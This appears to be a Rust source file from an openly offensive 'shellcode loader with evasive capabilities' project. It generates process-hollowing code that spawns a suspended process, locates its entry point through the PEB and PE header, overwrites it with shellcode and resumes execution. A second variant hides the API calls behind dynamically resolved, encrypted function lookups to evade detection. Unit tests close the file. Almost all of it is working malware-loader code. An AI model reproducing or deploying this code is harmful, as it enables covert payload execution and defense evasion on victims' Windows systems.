myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
process_hollowing.rs (11212B)
1 use super::super::{process_helpers, windows_types}; 2 use super::common; 3 4 pub fn process_hollowing_import() -> String { 5 process_helpers::process_creation_imports().to_string() 6 } 7 8 pub fn process_hollowing_const() -> String { 9 format!( 10 r#" 11 {} 12 13 {} 14 15 {} 16 17 #[link(name = "kernel32")] 18 extern "system" {{ 19 {} 20 21 {} 22 }} 23 24 #[link(name = "ntdll")] 25 extern "system" {{ 26 {} 27 }} 28 "#, 29 common::COMMON_PROCESS_CONSTANTS, 30 windows_types::process_structures(), 31 common::process_basic_information_struct(), 32 common::common_process_injection_externs(), 33 common::common_process_hollowing_externs(), 34 common::common_ntdll_externs(), 35 ) 36 } 37 38 pub fn process_hollowing_init() -> String { 39 format!( 40 r#" 41 fn create_process(process_name: &str) -> ProcessInformation {{ 42 {} 43 44 {} 45 46 {} 47 48 unsafe {{ 49 let result = CreateProcessW( 50 ptr::null(), 51 command_line.as_mut_ptr(), 52 ptr::null(), 53 ptr::null(), 54 0, 55 CREATE_SUSPENDED | CREATE_NO_WINDOW, 56 ptr::null(), 57 ptr::null(), 58 &si, 59 &mut pi, 60 ); 61 62 if result == 0 {{ 63 panic!("failed"); 64 }} 65 }} 66 67 pi 68 }} 69 "#, 70 windows_types::init_startup_info_w(), 71 windows_types::init_process_information(), 72 process_helpers::command_line_conversion("process_name") 73 ) 74 } 75 76 pub fn process_hollowing_process() -> String { 77 r#" 78 let process = create_process("__PROCESS__"); 79 let p_handle = process.process; 80 let t_handle = process.thread; 81 82 unsafe { 83 let mut basic_info = ProcessBasicInformation { 84 reserved1: 0, 85 peb_address: 0, 86 reserved2: 0, 87 reserved3: 0, 88 unique_pid: 0, 89 more_reserved: 0, 90 }; 91 let mut unused_tmp_value: u32 = 0; 92 93 // Get Process Environment Block (PEB) 94 let r = ZwQueryInformationProcess( 95 p_handle, 96 0, 97 &mut basic_info, 98 (std::mem::size_of::<usize>() * 6) as u32, 99 &mut unused_tmp_value, 100 ); 101 102 if r != 0 { 103 panic!("failed"); 104 } 105 106 // Query PEB for ImageBaseAddress 107 let image_base_address = basic_info.peb_address + 0x10; 108 109 // Get entry point of the actual process executable 110 // This one is a bit complicated, because this address differs for each process (due to ASLR) 111 // From the PEB (address we got in last call), we have to do the following: 112 // 1. Read executable address from first 8 bytes of PEB and read data chunk for further processing 113 // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header 114 // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset 115 // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address 116 // 5. Get the absolute address of the entrypoint by adding this value to the base executable address 117 118 // 1. Read executable address from first 8 bytes of PEB 119 let mut proc_addr = [0u8; 8]; 120 let mut read: usize = 0; 121 122 let r = ReadProcessMemory( 123 p_handle, 124 image_base_address, 125 proc_addr.as_mut_ptr(), 126 proc_addr.len(), 127 &mut read, 128 ); 129 130 if r == 0 { 131 panic!("failed"); 132 } 133 134 let exe_base_addr = u64::from_le_bytes(proc_addr); 135 136 // Read PE header 137 let mut pe_buffer = [0u8; 0x200]; 138 let r = ReadProcessMemory( 139 p_handle, 140 exe_base_addr as usize, 141 pe_buffer.as_mut_ptr(), 142 pe_buffer.len(), 143 &mut read, 144 ); 145 146 if r == 0 { 147 panic!("failed"); 148 } 149 150 // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C to get the offset for the PE header 151 let lfanew = u32::from_le_bytes([ 152 pe_buffer[0x3c], 153 pe_buffer[0x3c + 1], 154 pe_buffer[0x3c + 2], 155 pe_buffer[0x3c + 3], 156 ]); 157 158 // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset 159 let rva_offset = (lfanew + 0x28) as usize; 160 161 // 4. Read the 4 bytes at the RVA offset to get the offset of the executable entrypoint 162 let rva = u32::from_le_bytes([ 163 pe_buffer[rva_offset], 164 pe_buffer[rva_offset + 1], 165 pe_buffer[rva_offset + 2], 166 pe_buffer[rva_offset + 3], 167 ]); 168 169 // 5. Get the absolute address of the entrypoint 170 let entrypoint_address = exe_base_addr + rva as u64; 171 172 // Overwrite process memory at entrypoint address 173 let r = WriteProcessMemory( 174 p_handle, 175 entrypoint_address as usize as *const std::ffi::c_void, 176 shellcode.as_ptr() as *const std::ffi::c_void, 177 shellcode.len(), 178 ptr::null_mut(), 179 ); 180 181 if r == 0 { 182 panic!("failed"); 183 } 184 185 // Trigger shellcode execution 186 let r = ResumeThread(t_handle); 187 if r == 0xFFFFFFFF { 188 panic!("failed"); 189 } 190 } 191 "# 192 .to_string() 193 } 194 195 fn generate_process_hollowing_template(target_process: &str, function_name: &str) -> String { 196 let template = super::common::TechniqueTemplateBuilder::new() 197 .with_import(process_hollowing_import()) 198 .with_const(process_hollowing_const()) 199 .with_init(process_hollowing_init()) 200 .with_process(process_hollowing_process()) 201 .build(function_name); 202 203 template.replace("__PROCESS__", target_process) 204 } 205 206 pub fn generate_process_hollowing_code(target_process: &str, function_name: &str) -> String { 207 generate_process_hollowing_template(target_process, function_name) 208 } 209 210 pub struct ProcessHollowingGenerator; 211 212 impl super::trait_generator::TechniqueGenerator for ProcessHollowingGenerator { 213 fn generate_code(&self, process: &str, function_name: &str) -> String { 214 generate_process_hollowing_code(process, function_name) 215 } 216 217 fn generate_code_with_dynamic_resolver( 218 &self, 219 process: &str, 220 function_name: &str, 221 encryption_type: &str, 222 encryptor: &dyn crate::encryption::Encryptor, 223 ) -> String { 224 generate_process_hollowing_code_with_dynamic_resolver( 225 process, 226 function_name, 227 encryption_type, 228 encryptor, 229 ) 230 } 231 232 fn requires_process(&self) -> bool { 233 true 234 } 235 236 fn name(&self) -> &'static str { 237 "ProcessHollowing" 238 } 239 } 240 241 fn generate_process_hollowing_code_with_dynamic_resolver( 242 target_process: &str, 243 function_name: &str, 244 _encryption_type: &str, 245 encryptor: &dyn crate::encryption::Encryptor, 246 ) -> String { 247 use super::dynamic_common::*; 248 249 let create_process_w = create_process_w_resolver(encryptor).unwrap(); 250 let read_process_memory = read_process_memory_resolver(encryptor).unwrap(); 251 let write_process_memory = write_process_memory_resolver(encryptor).unwrap(); 252 let zw_query = zw_query_information_process_resolver(encryptor).unwrap(); 253 let resume_thread = resume_thread_resolver(encryptor).unwrap(); 254 255 let init_with_resolvers = format!( 256 r#" 257 {} 258 {} 259 {} 260 {} 261 {}"#, 262 create_process_w.resolver_code, 263 read_process_memory.resolver_code, 264 write_process_memory.resolver_code, 265 zw_query.resolver_code, 266 resume_thread.resolver_code, 267 ); 268 269 let casts = format!( 270 r#" 271 {} 272 {} 273 {} 274 {} 275 {}"#, 276 create_process_w.cast_code, 277 read_process_memory.cast_code, 278 write_process_memory.cast_code, 279 zw_query.cast_code, 280 resume_thread.cast_code, 281 ); 282 283 let process_code = process_hollowing_process() 284 .replace("CreateProcessW(", "create_process_w(") 285 .replace("ReadProcessMemory(", "read_process_memory(") 286 .replace("WriteProcessMemory(", "write_process_memory(") 287 .replace( 288 "ZwQueryInformationProcess(", 289 "zw_query_information_process(", 290 ) 291 .replace("ResumeThread(", "resume_thread(") 292 // Add casts for ZwQueryInformationProcess arguments 293 .replace( 294 "&mut basic_info,", 295 "&mut basic_info as *mut _ as *mut std::ffi::c_void,", 296 ) 297 // Add casts for ReadProcessMemory arguments 298 .replace( 299 "image_base_address,", 300 "image_base_address as *const std::ffi::c_void,", 301 ) 302 .replace( 303 "exe_base_addr as usize,", 304 "exe_base_addr as *const std::ffi::c_void,", 305 ) 306 .replace( 307 "proc_addr.as_mut_ptr(),", 308 "proc_addr.as_mut_ptr() as *mut std::ffi::c_void,", 309 ) 310 .replace( 311 "pe_buffer.as_mut_ptr(),", 312 "pe_buffer.as_mut_ptr() as *mut std::ffi::c_void,", 313 ) 314 // Add casts for WriteProcessMemory arguments 315 .replace( 316 "entrypoint_address as usize,", 317 "entrypoint_address as *mut std::ffi::c_void,", 318 ) 319 .replace( 320 "shellcode.as_ptr(),", 321 "shellcode.as_ptr() as *const std::ffi::c_void,", 322 ) 323 .replace( 324 " 0,\n );", 325 " ptr::null_mut(),\n );", 326 ) 327 // Fix mut warning 328 .replace("let mut si = StartupInfoW {", "let si = StartupInfoW {"); 329 330 let full_process = format!( 331 r#" 332 unsafe {{ 333 {} 334 {} 335 {} 336 }} 337 "#, 338 init_with_resolvers, 339 casts, 340 process_code 341 .trim_start_matches(" unsafe {") 342 .trim_end_matches("}") 343 .trim() 344 ); 345 346 let template = super::common::TechniqueTemplateBuilder::new() 347 .with_import(process_hollowing_import()) 348 .with_const(process_hollowing_const()) 349 .with_init(process_hollowing_init()) 350 .with_process(full_process) 351 .build(function_name); 352 353 template.replace("__PROCESS__", target_process) 354 } 355 356 #[cfg(test)] 357 mod tests { 358 use super::*; 359 360 #[test] 361 fn test_generate_process_hollowing_template_replaces_process_placeholder() { 362 let template = generate_process_hollowing_template("notepad.exe", "TestFunc"); 363 assert!(template.contains("notepad.exe")); 364 assert!(!template.contains("__PROCESS__")); 365 } 366 367 #[test] 368 fn test_generate_process_hollowing_template_contains_all_parts() { 369 let template = generate_process_hollowing_template("calc.exe", "MyFunction"); 370 assert!(template.contains("use std::ptr")); 371 assert!(template.contains("CREATE_SUSPENDED")); 372 assert!(template.contains("fn create_process")); 373 assert!(template.contains("fn MyFunction")); 374 assert!(template.contains("ZwQueryInformationProcess")); 375 } 376 377 #[test] 378 fn test_generate_process_hollowing_code() { 379 let code = generate_process_hollowing_code("cmd.exe", "MyRandomFunc"); 380 assert!(code.contains("cmd.exe")); 381 assert!(code.contains("fn MyRandomFunc")); 382 assert!(!code.contains("__PROCESS__")); 383 } 384 }